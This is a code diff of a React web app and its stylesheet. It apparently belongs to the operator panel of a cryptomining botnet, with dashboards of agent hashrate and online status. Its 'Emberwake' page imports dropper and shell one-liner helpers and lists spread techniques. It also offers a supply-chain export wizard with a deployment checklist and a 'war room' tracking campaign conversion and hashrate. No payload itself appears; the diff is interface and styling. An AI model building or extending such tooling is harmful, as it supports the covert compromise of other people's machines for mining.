|
||||
<GaugeRing
|
||||
value={totalHashrate}
|
||||
max={Math.max(totalHashrate * 1.2, 1000)}
|
||||
@@ -492,7 +493,7 @@ export default function DashboardPage() {
|
||||
size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
<NeonCard accent="green" className="gauge-card" hud>
|
||||
<NeonCard accent="green" className="gauge-card operator-deck-card operator-interactive" hud>
|
||||
<GaugeRing
|
||||
value={onlinePct}
|
||||
label="Online"
|
||||
@@ -501,10 +502,10 @@ export default function DashboardPage() {
|
||||
size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
<NeonCard accent="purple" className="gauge-card" hud>
|
||||
<NeonCard accent="purple" className="gauge-card operator-deck-card operator-interactive" hud>
|
||||
<GaugeRing value={acceptRate} label="Accept" sublabel="share rate" color="var(--neon-purple)" size={110} />
|
||||
</NeonCard>
|
||||
<NeonCard accent="amber" className="gauge-card" hud>
|
||||
<NeonCard accent="amber" className="gauge-card operator-deck-card operator-interactive" hud>
|
||||
<GaugeRing
|
||||
value={avgCpu}
|
||||
label="CPU"
|
||||
@@ -676,7 +677,7 @@ export default function DashboardPage() {
|
||||
|
||||
{/* Gauge row */}
|
||||
<section className="gauge-row rvn-gauges">
|
||||
<NeonCard accent="gold" className="gauge-card" hud>
|
||||
<NeonCard accent="gold" className="gauge-card operator-deck-card operator-interactive" hud>
|
||||
<GaugeRing
|
||||
value={totalGPUHashrate}
|
||||
max={Math.max(totalGPUHashrate * 1.2, 1e6)}
|
||||
@@ -686,7 +687,7 @@ export default function DashboardPage() {
|
||||
size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
<NeonCard accent="amber" className="gauge-card" hud>
|
||||
<NeonCard accent="amber" className="gauge-card operator-deck-card operator-interactive" hud>
|
||||
<GaugeRing
|
||||
value={gpuHashrate15s}
|
||||
max={Math.max(gpuHashrate15s * 1.2, 1e6)}
|
||||
@@ -696,7 +697,7 @@ export default function DashboardPage() {
|
||||
size={110}
|
||||
/>
|
||||
</NeonCard>
|
||||
<NeonCard accent="cyan" className="gauge-card" hud>
|
||||
<NeonCard accent="cyan" className="gauge-card operator-deck-card operator-interactive" hud>
|
||||
<GaugeRing
|
||||
value={gpuAgents.length}
|
||||
max={Math.max(agents.length, 1)}
|
||||
@@ -919,7 +920,7 @@ export default function DashboardPage() {
|
||||
<NeonCard
|
||||
key={agent.id}
|
||||
accent={agent.status === 'online' ? 'cyan' : 'brass'}
|
||||
className="agent-card detailed machine-panel"
|
||||
className="agent-card detailed machine-panel operator-deck-card operator-interactive"
|
||||
style={{ animationDelay: `${i * 0.05}s` } as CSSProperties}
|
||||
>
|
||||
<div className="agent-card-header">
|
||||
|
||||
@@ -29,6 +29,26 @@
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.emberwake-technique-list {
|
||||
margin: 0;
|
||||
padding-left: 1.2rem;
|
||||
font-size: 0.85rem;
|
||||
color: var(--text-dim, #aaa);
|
||||
}
|
||||
|
||||
.emberwake-technique-list li {
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.emberwake-technique-list a {
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.emberwake-technique-list a:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.emberwake-campaign-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
@@ -49,3 +69,771 @@
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.emberwake-page .spread-section--war-room {
|
||||
border-left: 4px solid #f43f5e;
|
||||
}
|
||||
|
||||
.war-room-toolbar {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.75rem;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
margin-bottom: 0.75rem;
|
||||
font-size: 0.8rem;
|
||||
color: var(--text-dim, #aaa);
|
||||
}
|
||||
|
||||
.war-room-table-wrap {
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
.war-room-table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
|
||||
.war-room-table th,
|
||||
.war-room-table td {
|
||||
padding: 0.45rem 0.6rem;
|
||||
text-align: right;
|
||||
border-bottom: 1px solid #222a38;
|
||||
}
|
||||
|
||||
.war-room-table th:first-child,
|
||||
.war-room-table td:first-child {
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.war-room-table th {
|
||||
color: var(--text-dim, #aaa);
|
||||
font-weight: 600;
|
||||
font-size: 0.72rem;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
|
||||
.war-room-table tbody tr:hover {
|
||||
background: rgba(61, 214, 198, 0.04);
|
||||
}
|
||||
|
||||
.war-room-sparkline {
|
||||
display: flex;
|
||||
align-items: flex-end;
|
||||
gap: 2px;
|
||||
height: 28px;
|
||||
min-width: 72px;
|
||||
}
|
||||
|
||||
.war-room-sparkline span {
|
||||
flex: 1;
|
||||
min-width: 4px;
|
||||
background: linear-gradient(180deg, #3dd6c6 0%, #1a6b62 100%);
|
||||
border-radius: 2px 2px 0 0;
|
||||
opacity: 0.85;
|
||||
}
|
||||
|
||||
.war-room-conv {
|
||||
color: #c9a227;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.war-room-online {
|
||||
color: #3dd6c6;
|
||||
}
|
||||
|
||||
.war-room-empty {
|
||||
margin: 0;
|
||||
font-size: 0.85rem;
|
||||
color: var(--text-dim, #aaa);
|
||||
}
|
||||
|
||||
.emberwake-page .spread-section--violet {
|
||||
border-left: 4px solid #a78bfa;
|
||||
}
|
||||
|
||||
.supply-chain-wizard-header {
|
||||
margin-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.supply-chain-family-tabs {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
margin-bottom: 0.75rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.supply-chain-family-tab {
|
||||
padding: 0.35rem 0.85rem;
|
||||
border-radius: 999px;
|
||||
border: 1px solid #2a3040;
|
||||
background: #0d1018;
|
||||
color: var(--text-dim, #aaa);
|
||||
font-size: 0.82rem;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.supply-chain-family-tab.active {
|
||||
border-color: #a78bfa;
|
||||
color: #e9d5ff;
|
||||
box-shadow: 0 0 12px rgba(167, 139, 250, 0.25);
|
||||
}
|
||||
|
||||
.supply-chain-step-rail {
|
||||
margin: 0.75rem 0 1rem;
|
||||
}
|
||||
|
||||
.supply-chain-step-num {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 1.1rem;
|
||||
height: 1.1rem;
|
||||
border-radius: 50%;
|
||||
background: rgba(167, 139, 250, 0.2);
|
||||
font-size: 0.65rem;
|
||||
}
|
||||
|
||||
.supply-chain-step-panel {
|
||||
padding: 0.75rem 0;
|
||||
border-top: 1px solid #222a38;
|
||||
border-bottom: 1px solid #222a38;
|
||||
margin-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.supply-chain-preview {
|
||||
margin-top: 0.75rem;
|
||||
padding: 0.65rem 0.75rem;
|
||||
background: rgba(0, 0, 0, 0.25);
|
||||
border-radius: 6px;
|
||||
border: 1px solid #222a38;
|
||||
}
|
||||
|
||||
.supply-chain-preview-url {
|
||||
display: block;
|
||||
font-size: 0.72rem;
|
||||
word-break: break-all;
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.supply-chain-download-meta {
|
||||
margin: 0 0 0.75rem;
|
||||
padding-left: 1.1rem;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.supply-chain-download-meta li {
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.supply-chain-export-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.supply-chain-wizard-nav {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
margin-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.supply-chain-quick-export {
|
||||
padding-top: 0.5rem;
|
||||
border-top: 1px dashed #2a3040;
|
||||
}
|
||||
|
||||
.supply-chain-checklist {
|
||||
list-style: none;
|
||||
margin: 0 0 1rem;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.supply-chain-checklist li {
|
||||
margin-bottom: 0.5rem;
|
||||
font-size: 0.88rem;
|
||||
}
|
||||
|
||||
.supply-chain-checklist label {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
align-items: flex-start;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.supply-chain-checklist-done {
|
||||
color: var(--neon-green, #6f6);
|
||||
font-size: 0.85rem;
|
||||
margin: 0 0 0.75rem;
|
||||
}
|
||||
|
||||
.supply-chain-checklist-actions {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
/* ── Post-export deployment reel (checklist modal) ── */
|
||||
.supply-chain-deployment-reel {
|
||||
position: relative;
|
||||
margin: 0 0 1.1rem;
|
||||
padding: 0.85rem 1rem;
|
||||
border-radius: 10px;
|
||||
border: 1px solid rgba(61, 214, 198, 0.28);
|
||||
background: linear-gradient(135deg, rgba(61, 214, 198, 0.06) 0%, rgba(244, 63, 94, 0.04) 100%);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-title {
|
||||
margin: 0 0 0.65rem;
|
||||
font-size: 0.72rem;
|
||||
letter-spacing: 0.08em;
|
||||
text-transform: uppercase;
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
font-family: var(--font-tech, monospace);
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-steps {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.45rem;
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-step {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.55rem;
|
||||
font-size: 0.88rem;
|
||||
opacity: 0.35;
|
||||
transform: translateX(-4px);
|
||||
transition: opacity 0.35s ease, transform 0.35s ease;
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-step--active {
|
||||
opacity: 0.85;
|
||||
transform: translateX(0);
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-step--done {
|
||||
opacity: 1;
|
||||
transform: translateX(0);
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-step--animating .supply-chain-deployment-reel-check {
|
||||
animation: supply-chain-reel-pulse 0.9s ease-in-out;
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-check {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 1.35rem;
|
||||
height: 1.35rem;
|
||||
border-radius: 50%;
|
||||
border: 1px solid #2a3040;
|
||||
font-size: 0.75rem;
|
||||
flex-shrink: 0;
|
||||
color: var(--text-secondary);
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-step--done .supply-chain-deployment-reel-check {
|
||||
border-color: rgba(111, 255, 111, 0.55);
|
||||
color: var(--neon-green, #6f6);
|
||||
background: rgba(111, 255, 111, 0.12);
|
||||
animation: supply-chain-reel-check-pop 0.45s cubic-bezier(0.34, 1.56, 0.64, 1);
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-step--active .supply-chain-deployment-reel-check {
|
||||
border-color: rgba(61, 214, 198, 0.5);
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-label a {
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
text-decoration: underline;
|
||||
text-underline-offset: 2px;
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel--complete {
|
||||
box-shadow: 0 0 28px rgba(61, 214, 198, 0.12);
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-glow {
|
||||
position: absolute;
|
||||
inset: -20%;
|
||||
background: radial-gradient(circle at 50% 50%, rgba(61, 214, 198, 0.15), transparent 55%);
|
||||
pointer-events: none;
|
||||
animation: supply-chain-reel-glow 1.2s ease-out forwards;
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel--complete::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
pointer-events: none;
|
||||
background-image:
|
||||
radial-gradient(circle at 15% 20%, rgba(244, 63, 94, 0.35) 0 2px, transparent 3px),
|
||||
radial-gradient(circle at 78% 28%, rgba(61, 214, 198, 0.4) 0 2px, transparent 3px),
|
||||
radial-gradient(circle at 42% 72%, rgba(250, 204, 21, 0.35) 0 2px, transparent 3px),
|
||||
radial-gradient(circle at 88% 65%, rgba(167, 139, 250, 0.35) 0 2px, transparent 3px),
|
||||
radial-gradient(circle at 25% 55%, rgba(61, 214, 198, 0.3) 0 1.5px, transparent 2.5px);
|
||||
opacity: 0;
|
||||
animation: supply-chain-reel-confetti 0.8s ease-out 0.1s forwards;
|
||||
}
|
||||
|
||||
@keyframes supply-chain-reel-check-pop {
|
||||
0% { transform: scale(0.4); opacity: 0; }
|
||||
70% { transform: scale(1.15); }
|
||||
100% { transform: scale(1); opacity: 1; }
|
||||
}
|
||||
|
||||
@keyframes supply-chain-reel-pulse {
|
||||
0%, 100% { box-shadow: 0 0 0 rgba(61, 214, 198, 0); }
|
||||
50% { box-shadow: 0 0 12px rgba(61, 214, 198, 0.45); }
|
||||
}
|
||||
|
||||
@keyframes supply-chain-reel-glow {
|
||||
from { opacity: 0.6; }
|
||||
to { opacity: 0; }
|
||||
}
|
||||
|
||||
@keyframes supply-chain-reel-confetti {
|
||||
from { opacity: 0; transform: scale(0.95); }
|
||||
to { opacity: 1; transform: scale(1); }
|
||||
}
|
||||
|
||||
.war-room-toolbar-right {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.75rem;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.war-room-view-toggle {
|
||||
display: flex;
|
||||
gap: 0.35rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
/* ── Constellation force graph ── */
|
||||
.war-room-constellations {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.war-room-constellations-svg {
|
||||
display: block;
|
||||
width: 100%;
|
||||
height: auto;
|
||||
border-radius: 10px;
|
||||
border: 1px solid #2a3040;
|
||||
background: linear-gradient(160deg, #0a0d14 0%, #12101a 45%, #0c0f16 100%);
|
||||
box-shadow: inset 0 0 40px rgba(61, 214, 198, 0.04);
|
||||
}
|
||||
|
||||
.war-room-constellation-edge {
|
||||
stroke: rgba(61, 214, 198, 0.18);
|
||||
stroke-dasharray: 4 6;
|
||||
transition: stroke 0.2s ease, stroke-width 0.2s ease;
|
||||
}
|
||||
|
||||
.war-room-constellation-edge--lit {
|
||||
stroke: rgba(201, 162, 39, 0.55);
|
||||
stroke-dasharray: none;
|
||||
}
|
||||
|
||||
.war-room-constellation-halo {
|
||||
opacity: 0.22;
|
||||
pointer-events: none;
|
||||
transform-origin: center;
|
||||
transform-box: fill-box;
|
||||
animation: constellation-pulse 2.4s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.war-room-constellation-node--hover circle:nth-of-type(2) {
|
||||
filter: url(#constellation-glow);
|
||||
}
|
||||
|
||||
.war-room-constellation-label {
|
||||
font-size: 0.62rem;
|
||||
fill: #9aa3b5;
|
||||
font-family: var(--font-mono, ui-monospace, monospace);
|
||||
pointer-events: none;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
.war-room-constellation-legend {
|
||||
margin: 0.55rem 0 0;
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
.war-room-funnel-card--highlighted {
|
||||
border-color: rgba(201, 162, 39, 0.65);
|
||||
box-shadow:
|
||||
0 0 28px rgba(201, 162, 39, 0.18),
|
||||
0 0 48px rgba(61, 214, 198, 0.08);
|
||||
animation: constellation-card-flash 2.8s ease-out;
|
||||
}
|
||||
|
||||
@keyframes constellation-pulse {
|
||||
0%, 100% { opacity: 0.1; transform: scale(1); }
|
||||
50% { opacity: 0.42; transform: scale(1.12); }
|
||||
}
|
||||
|
||||
@keyframes constellation-card-flash {
|
||||
0% { outline: 2px solid rgba(201, 162, 39, 0.7); outline-offset: 2px; }
|
||||
100% { outline: 2px solid transparent; outline-offset: 6px; }
|
||||
}
|
||||
|
||||
/* ── Funnel board ── */
|
||||
.war-room-funnel-board {
|
||||
display: grid;
|
||||
gap: 1rem;
|
||||
grid-template-columns: repeat(auto-fill, minmax(320px, 1fr));
|
||||
}
|
||||
|
||||
.war-room-funnel-board--alive .war-room-funnel-card {
|
||||
animation: war-room-card-alive 0.9s ease-out;
|
||||
}
|
||||
|
||||
.war-room-funnel-card {
|
||||
position: relative;
|
||||
padding: 1rem 1.1rem;
|
||||
border-radius: 10px;
|
||||
border: 1px solid #2a3040;
|
||||
background: linear-gradient(145deg, #141a24 0%, #0c0f16 55%, #12101a 100%);
|
||||
box-shadow: 0 0 24px rgba(244, 63, 94, 0.06);
|
||||
overflow: hidden;
|
||||
animation-delay: var(--card-stagger, 0s);
|
||||
}
|
||||
|
||||
.war-room-funnel-card::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: radial-gradient(ellipse at top left, rgba(61, 214, 198, 0.08), transparent 55%);
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.war-room-funnel-card-head {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: flex-start;
|
||||
gap: 0.5rem;
|
||||
margin-bottom: 0.85rem;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.war-room-funnel-slug {
|
||||
font-size: 0.95rem;
|
||||
color: #f43f5e;
|
||||
}
|
||||
|
||||
.war-room-funnel-meta {
|
||||
display: block;
|
||||
font-size: 0.72rem;
|
||||
color: var(--text-dim, #888);
|
||||
margin-top: 0.15rem;
|
||||
}
|
||||
|
||||
.war-room-funnel-head-stats {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: flex-end;
|
||||
gap: 0.2rem;
|
||||
font-size: 0.75rem;
|
||||
}
|
||||
|
||||
.war-room-funnel-overall {
|
||||
color: #c9a227;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.war-room-funnel-online {
|
||||
color: #3dd6c6;
|
||||
}
|
||||
|
||||
.war-room-funnel-pipeline {
|
||||
display: flex;
|
||||
align-items: stretch;
|
||||
gap: 0.15rem;
|
||||
overflow-x: auto;
|
||||
padding-bottom: 0.35rem;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.war-room-funnel-stage {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
flex: 1;
|
||||
min-width: 4.5rem;
|
||||
}
|
||||
|
||||
.war-room-funnel-node {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
text-align: center;
|
||||
min-width: 3.5rem;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.war-room-funnel-node-label {
|
||||
font-size: 0.62rem;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.05em;
|
||||
color: var(--text-dim, #888);
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.war-room-funnel-node-value {
|
||||
font-size: 0.9rem;
|
||||
font-weight: 700;
|
||||
font-variant-numeric: tabular-nums;
|
||||
color: #e8eaef;
|
||||
line-height: 1.2;
|
||||
}
|
||||
|
||||
.war-room-funnel-node-rate {
|
||||
font-size: 0.65rem;
|
||||
color: #3dd6c6;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.war-room-funnel-node-rate--low {
|
||||
color: #fbbf24;
|
||||
animation: war-room-pulse 2s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.war-room-funnel-pipe {
|
||||
position: relative;
|
||||
flex: 1;
|
||||
height: 6px;
|
||||
min-width: 12px;
|
||||
margin: 0 0.1rem;
|
||||
background: #1a2030;
|
||||
border-radius: 3px;
|
||||
overflow: hidden;
|
||||
align-self: center;
|
||||
}
|
||||
|
||||
.war-room-funnel-pipe--flowing {
|
||||
box-shadow: inset 0 0 6px rgba(61, 214, 198, 0.08);
|
||||
}
|
||||
|
||||
.war-room-funnel-pipe-fill {
|
||||
display: block;
|
||||
height: 100%;
|
||||
width: var(--pipe-fill, 8%);
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
#f43f5e 0%,
|
||||
#ff6b2c 25%,
|
||||
#ffd166 50%,
|
||||
#3dd6c6 75%,
|
||||
#f43f5e 100%
|
||||
);
|
||||
background-size: 220% 100%;
|
||||
border-radius: 3px;
|
||||
animation: war-room-flow 1.15s linear infinite;
|
||||
animation-delay: var(--pipe-stagger, 0s);
|
||||
box-shadow: 0 0 10px rgba(61, 214, 198, 0.45), 0 0 4px rgba(244, 63, 94, 0.25);
|
||||
}
|
||||
|
||||
.war-room-funnel-pipe-shimmer {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
width: 40%;
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
transparent 0%,
|
||||
rgba(255, 255, 255, 0.18) 45%,
|
||||
transparent 100%
|
||||
);
|
||||
animation: war-room-pipe-shimmer 1.8s ease-in-out infinite;
|
||||
animation-delay: var(--pipe-stagger, 0s);
|
||||
pointer-events: none;
|
||||
opacity: 0.7;
|
||||
}
|
||||
|
||||
.war-room-funnel-arrow {
|
||||
color: #4a5568;
|
||||
font-size: 0.7rem;
|
||||
flex-shrink: 0;
|
||||
animation: war-room-arrow-nudge 1.8s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.war-room-funnel-card-foot {
|
||||
display: flex;
|
||||
align-items: flex-end;
|
||||
justify-content: space-between;
|
||||
gap: 0.75rem;
|
||||
margin-top: 0.75rem;
|
||||
padding-top: 0.65rem;
|
||||
border-top: 1px solid #222a38;
|
||||
}
|
||||
|
||||
.war-room-sparkline--card {
|
||||
flex: 1;
|
||||
max-width: 160px;
|
||||
}
|
||||
|
||||
.war-room-sparkline-label {
|
||||
font-size: 0.62rem;
|
||||
color: var(--text-dim, #888);
|
||||
margin-right: 0.35rem;
|
||||
align-self: flex-end;
|
||||
}
|
||||
|
||||
.war-room-funnel-hash {
|
||||
font-size: 0.82rem;
|
||||
color: #c9a227;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.war-room-leak {
|
||||
display: flex;
|
||||
gap: 0.6rem;
|
||||
align-items: flex-start;
|
||||
margin-top: 0.75rem;
|
||||
padding: 0.55rem 0.65rem;
|
||||
border-radius: 6px;
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
.war-room-leak--critical {
|
||||
background: rgba(244, 63, 94, 0.12);
|
||||
border: 1px solid rgba(244, 63, 94, 0.35);
|
||||
animation: war-room-leak-glow 2s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.war-room-leak--warn {
|
||||
background: rgba(251, 191, 36, 0.08);
|
||||
border: 1px solid rgba(251, 191, 36, 0.3);
|
||||
}
|
||||
|
||||
.war-room-leak--clear {
|
||||
background: rgba(61, 214, 198, 0.06);
|
||||
border: 1px solid rgba(61, 214, 198, 0.2);
|
||||
}
|
||||
|
||||
.war-room-leak-badge {
|
||||
flex-shrink: 0;
|
||||
font-size: 0.62rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.08em;
|
||||
padding: 0.15rem 0.35rem;
|
||||
border-radius: 3px;
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
}
|
||||
|
||||
.war-room-leak--critical .war-room-leak-badge {
|
||||
color: #f43f5e;
|
||||
}
|
||||
|
||||
.war-room-leak--warn .war-room-leak-badge {
|
||||
color: #fbbf24;
|
||||
}
|
||||
|
||||
.war-room-leak--clear .war-room-leak-badge {
|
||||
color: #3dd6c6;
|
||||
}
|
||||
|
||||
.war-room-leak-msg {
|
||||
margin: 0;
|
||||
color: #e8eaef;
|
||||
line-height: 1.35;
|
||||
}
|
||||
|
||||
.war-room-leak-action {
|
||||
margin: 0.25rem 0 0;
|
||||
color: var(--text-dim, #aaa);
|
||||
font-size: 0.72rem;
|
||||
line-height: 1.35;
|
||||
}
|
||||
|
||||
/* ── Odometer counters ── */
|
||||
.war-room-odometer {
|
||||
position: relative;
|
||||
display: inline-flex;
|
||||
align-items: baseline;
|
||||
gap: 0.25rem;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.war-room-odometer-value {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.war-room-odometer--pulse .war-room-odometer-value {
|
||||
animation: war-room-odometer-glow 0.7s ease-out;
|
||||
text-shadow: 0 0 12px rgba(61, 214, 198, 0.55);
|
||||
}
|
||||
|
||||
.war-room-odometer-delta {
|
||||
font-size: 0.62em;
|
||||
font-weight: 600;
|
||||
color: #3dd6c6;
|
||||
opacity: 0;
|
||||
animation: war-room-delta-pop 0.85s ease-out forwards;
|
||||
letter-spacing: 0.02em;
|
||||
}
|
||||
|
||||
.war-room-table .war-room-odometer {
|
||||
justify-content: flex-end;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
@keyframes war-room-flow {
|
||||
0% { background-position: 0% 50%; opacity: 0.88; filter: brightness(1); }
|
||||
50% { background-position: 100% 50%; opacity: 1; filter: brightness(1.25); }
|
||||
100% { background-position: 200% 50%; opacity: 0.88; filter: brightness(1); }
|
||||
}
|
||||
|
||||
@keyframes war-room-pipe-shimmer {
|
||||
0% { transform: translateX(-120%); opacity: 0; }
|
||||
35% { opacity: 0.85; }
|
||||
100% { transform: translateX(280%); opacity: 0; }
|
||||
}
|
||||
|
||||
@keyframes war-room-card-alive {
|
||||
0% { box-shadow: 0 0 0 rgba(61, 214, 198, 0); border-color: #2a3040; }
|
||||
40% { box-shadow: 0 0 28px rgba(61, 214, 198, 0.18); border-color: rgba(61, 214, 198, 0.35); }
|
||||
100% { box-shadow: 0 0 24px rgba(244, 63, 94, 0.06); border-color: #2a3040; }
|
||||
}
|
||||
|
||||
@keyframes war-room-odometer-glow {
|
||||
0% { color: inherit; transform: scale(1); }
|
||||
35% { color: #3dd6c6; transform: scale(1.06); }
|
||||
100% { color: inherit; transform: scale(1); }
|
||||
}
|
||||
|
||||
@keyframes war-room-delta-pop {
|
||||
0% { opacity: 0; transform: translateY(4px); }
|
||||
25% { opacity: 1; transform: translateY(0); }
|
||||
75% { opacity: 1; }
|
||||
100% { opacity: 0; transform: translateY(-3px); }
|
||||
}
|
||||
|
||||
@keyframes war-room-arrow-nudge {
|
||||
0%, 100% { transform: translateX(0); opacity: 0.5; }
|
||||
50% { transform: translateX(2px); opacity: 1; }
|
||||
}
|
||||
|
||||
@keyframes war-room-pulse {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0.55; }
|
||||
}
|
||||
|
||||
@keyframes war-room-leak-glow {
|
||||
0%, 100% { box-shadow: 0 0 0 rgba(244, 63, 94, 0); }
|
||||
50% { box-shadow: 0 0 12px rgba(244, 63, 94, 0.2); }
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { useCallback, useEffect, useMemo, useState } from 'react';
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRecord, CampaignHitSummary, EmberwakeNotes, PublicBuildDTO } from '../types';
|
||||
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
|
||||
import {
|
||||
combinedDropperQuery,
|
||||
commandOneliner,
|
||||
@@ -8,9 +8,23 @@ import {
|
||||
publicDownloadUrl,
|
||||
shOneliner,
|
||||
} from '../help/emberwake';
|
||||
import {
|
||||
EMBERWAKE_TECHNIQUE_LINKS,
|
||||
SPREAD_TECHNIQUES_DOC,
|
||||
spreadTechniqueDocUrl,
|
||||
} from '../help/spreadTechniques';
|
||||
import { formatHashrate, sparklineBarHeight, sparklineMax, staggerDelayMs } from '../help/warRoom';
|
||||
import CampaignConstellations from '../components/WarRoom/CampaignConstellations';
|
||||
import WarRoomFunnelBoard from '../components/WarRoom/WarRoomFunnelBoard';
|
||||
import WarRoomOdometer from '../components/WarRoom/WarRoomOdometer';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { usePresence } from '../context/PresenceContext';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
||||
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
||||
import './Pages.css';
|
||||
import './EmberwakePage.css';
|
||||
import '../components/Presence/Presence.css';
|
||||
|
||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
const [ok, setOk] = useState(false);
|
||||
@@ -27,8 +41,14 @@ function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
);
|
||||
}
|
||||
|
||||
const NOTES_TYPING_DEBOUNCE_MS = 400;
|
||||
const NOTES_TYPING_IDLE_MS = 2000;
|
||||
const WAR_ROOM_DAYS = 7;
|
||||
const WAR_ROOM_POLL_MS = 15_000;
|
||||
|
||||
export default function EmberwakePage() {
|
||||
const { latestMessage } = useWebSocket();
|
||||
const { notesTyping, sendNotesTyping } = usePresence();
|
||||
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
||||
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
|
||||
const [serverBase, setServerBase] = useState('');
|
||||
